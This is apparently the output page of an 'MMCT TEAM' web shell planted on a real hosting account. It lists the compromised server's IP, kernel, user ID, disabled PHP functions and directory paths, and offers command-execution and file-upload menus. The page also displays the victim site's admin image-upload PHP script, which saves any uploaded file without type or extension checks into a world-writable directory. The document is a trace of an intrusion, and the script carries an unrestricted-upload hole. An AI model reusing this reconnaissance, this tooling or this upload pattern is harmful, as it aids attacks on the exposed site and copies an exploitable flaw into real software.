MMCT TEAM
Server IP : 2a02:4780:11:767:0:2c41:85d9:6  /  Your IP : 216.73.217.38
Web Server : LiteSpeed
System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u742491609 ( 742491609)
PHP Version : 8.1.34
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u742491609/domains/apca.org.in/public_html/admin/short-term/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u742491609/domains/apca.org.in/public_html/admin/short-term/upload_additional_images.php
<?php
require '../connection.php';

$sectionId = $_POST['section_id'] ?? 0;

if (!$sectionId || !isset($_FILES['new_images'])) {
    die("Invalid request");
}

$uploadDir = 'uploads';
if (!file_exists($uploadDir)) {
    mkdir($uploadDir, 0777, true);
}

$newImagePaths = [];

foreach ($_FILES['new_images']['tmp_name'] as $key => $tmpName) {
    if ($_FILES['new_images']['error'][$key] === UPLOAD_ERR_OK) {
        $filename = basename($_FILES['new_images']['name'][$key]);
        $targetFile = $uploadDir . time() . "_" . $filename;

        if (move_uploaded_file($tmpName, $targetFile)) {
            $newImagePaths[] = $targetFile;
        }
    }
}

// Fetch existing images
$stmt = $pdo->prepare("SELECT image_path FROM shortterm WHERE id = ?");
$stmt->execute([$sectionId]);
$existing = $stmt->fetch(PDO::FETCH_ASSOC);

if ($existing) {
    $existingImages = $existing['image_path'] ? explode(',', $existing['image_path']) : [];
    $allImages = array_merge($existingImages, $newImagePaths);
    $newImagePath = implode(',', $allImages);

    $update = $pdo->prepare("UPDATE shortterm SET image_path = ? WHERE id = ?");
    $update->execute([$newImagePath, $sectionId]);
}

header("Location: admin_panel.php");
exit;

MMCT - 2023